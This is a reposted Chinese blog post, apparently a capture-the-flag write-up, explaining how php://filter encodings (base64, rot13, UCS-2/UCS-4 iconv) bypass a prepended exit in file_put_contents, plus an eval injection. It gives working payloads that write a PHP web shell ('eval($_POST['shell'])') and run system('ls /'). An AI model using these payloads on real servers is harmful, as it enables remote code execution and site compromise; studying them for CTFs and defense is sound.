网络编程
位置:首页>> 网络编程>> php编程>> php filter协议使用方法

php filter协议使用方法

作者:偶尔躲躲乌云334  发布时间:2023-05-29 19:36:40 

标签:php,filter,协议
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
?>

base64加密

看文章的时候看到这样的一个代码,发现我们往文件中写入的时候,肯定会执行<?php exit;?>,可是这样就直接退出了就不能执行我们后面的命令,所以我们要想办法去绕过,或者说不执行这个exit

这道题,可控点有两个 filename 和 content,先直接给出payload ,然后解析

GET:?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=PD9waHAgcGhwaW5mbygpOz8+

上面的POST段为<?php phpinfo();?>加密段

看完大佬的文章理解:

base64只对64个字符解密,那如果不是64个字符中的,会直接忽略不计

并且base64中的字符,是要求是4个字节的倍数,如果实在不行则=补齐

php filter协议使用方法

随便输入一个都是4字节的倍数

<?php exit; ?>这个数据是固定的,而< > ; ?是64以外的字符,解码时会忽略,我们需要考虑的就是phpexit(空格不需要考虑),因为是4的倍数,如果在最后面系统自动加上=号的话,就改变了我们期望的值,所以需要我们手动进行修改,这时候我们可以在前面随便添加一个数据,让它与phpexit组合起来,成为一个乱码,不会影响后面的执行。

php filter协议使用方法

php filter协议使用方法

还有一道就是最近遇到的一道题目,和上面的思路差不多

eval("#".$_GET['flag]);

这个#影响了我后面get传参,不能进行命令执行

所以我的思路也是想如何绕过#,或者删除了它

可是,当时想了很久都没有想出来,还是大佬的提醒点了我一下

这既然是php里面的命令,我们完全可以把前面的闭合掉,然后自己再插入一句话木马

cmd=?><?php eval($_POST['shell']);

shell=system('ls /');进行这样的操作获得flag等等,当时脑袋瓦特了想不起来

rot13编码绕过

rot13编码的本质就是将字母左移13位。

如:<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>

用在php://filter中的话格式大概为这样

php://filter/string.rot13/resource=文件名

这样的话上面的题目,用rot13绕过前面的 exit就会转成别的东西,而我们输入的则最后还是那串执行代码,这样也就可以绕过了

php filter协议使用方法

结果非常清楚,前面exit被认为是加密解密成这样,后面我们事先加了密,所以抵消,还是原来的

加强绕过exit

<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET['content'];
file_put_contents($content, "<?php exit();".$content);

代码换成了这样,好比上面让你叠飞机下面让你造飞机(-0-)

显而易见,只有content这一个传参点了

php filter协议使用方法

这种就是加了一个write直接写入文件,然后红色部分/可以换成别的管道符,只要和rot13隔开就行

convert.iconv.

php filter协议使用方法

1.usc-2

这个编码就是2个为一组交换字符的位置(空格也会交换)

php filter协议使用方法

为什么我们可以把filter直接写入,因为写入以后只有我们输入的一句话木马会被执行,别的就相当于乱码一样

2.usc-4

就是换成了4个字符一组交换

php filter协议使用方法

总结:我们的思路其实都是相同的,通过某一个手段把exit绕过,然后执行我们的命令,其实就是用一些编码的特性,base64 rot13 usc-2 usc-4,都会把exit变成别的乱码一般。

来源:https://blog.csdn.net/qq_62046696/article/details/127029332

0
投稿

猜你喜欢

  • 所谓“评论”不是必须得有文本框,用户录入提交数据才算,广义上的评论包括用户的任何“表态”,典型如打分。我接触电子商务时间并不长,最早应该是0
  • 您可以将SQL Server 数据库引擎升级到 SQL Server 2008。SQL Server 安装程序只需最少的用户干预就可升级 S
  • 如果你用SQL Server 2005 Management Studio建立函数或存储过程,你会注意到这些新窗口中都是模板。通常,你可以获
  • 现在IE7已经推出一段时间并且渗透到用户当中,不用等太久我们就可以在页面上使用更高级的CSS。两个最有用的项目将是 Child子和Adjac
  • 代码如下:<% str = request("str") reg 
  • “位置:首页 第一屏通栏  格式:jpg  尺寸:960*90 ……”在工作我们经常会接到这样的banner设计需求,由
  •  无聊的人在无聊的时间做无聊的事打发自己,结果在无聊的事情中发现了IE对内联文字解释的一些疑惑。以下问题在FF2中没发现,而我也只
  • 内容摘要:浏览器不兼容这个难题,一直是网页设计师们头痛的事情。ie7.0的面世,尚且不论他是否较之ie6.0进步, ie7和ie6
  • 滚动图片可以说是做网站经常会遇到的,特别是做企业网站,最常用的像产品展示,图片展示等,滚动的好处是吸引眼球,让人一下就注意到。之前本站发了一
  • 人的大脑通过双眼来辨别视觉图形获取信息。大脑根据储存的经验,将所看到的视觉图形建立起优先级。由此可见,一个良好的视觉设计可以帮助大脑迅速有效
  • 最近关于HTML5吵得火热,很多人认为HTML5出现会秒杀Flash,以至于在各大web前端开 * 坛吵得不可开交。论坛里三言两语说的不够 尽
  • A 定义数组有两种方式:DIM和REDIM。DIM定义的是固定个数、数据类型的数组;而REDIM则不同,它可以定义不同类型的数据,也可以定义
  • 我们在使用ASP 内置的ADO组件进行数据库编程时,通常是在脚本的开头打开一个连接,并在脚本的最后关闭它,但是就较大脚本而言,在多数情况下连
  • ‘Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [Microsoft][O
  • 对url进行编码在服务器端我们可以使用asp中的server.urlencode,很方便实现。如:<% ss="asp之家欢
  • 定义总是很抽象。存储进程其实就是能完成一定操作的一组SQL语句,只不过这组语句是放在数据库中的(这里我们只谈SQL SERVER)。如果我们
  • MaxDB是MySQL AB公司通过SAP认证的数据库。MaxDB数据库服务器补充了MySQL AB产品系列。某些MaxDB特性在MySQL
  • 在新建数据库或附加数据库后,想添加关系表,结果出现下面的错误: 此数据库没有有效所有者,因此无法安装数据库关系图支持对象。若要继续,请首先使
  • 匹配中文字符的正则表达式: [\u4e00-\u9fa5]匹配双字节字符(包括汉字在内):[^\x00-\xff]应用:计算字符串的长度(一
  • 如何保持数据库中原有格式不变:这些问题在论坛里面几乎天天有人问~!其实当在输入信息,然后提交信息的时候,所有内容的格式是没有变的。只是在当提
手机版 网络编程 asp之家 www.aspxhome.com